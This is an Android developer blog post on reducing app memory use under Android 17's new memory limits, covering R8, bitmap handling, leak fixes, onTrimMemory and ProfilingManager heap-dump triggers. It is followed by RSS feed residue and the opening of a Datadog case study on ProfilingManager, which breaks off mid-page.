    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
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<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
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        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
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        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" 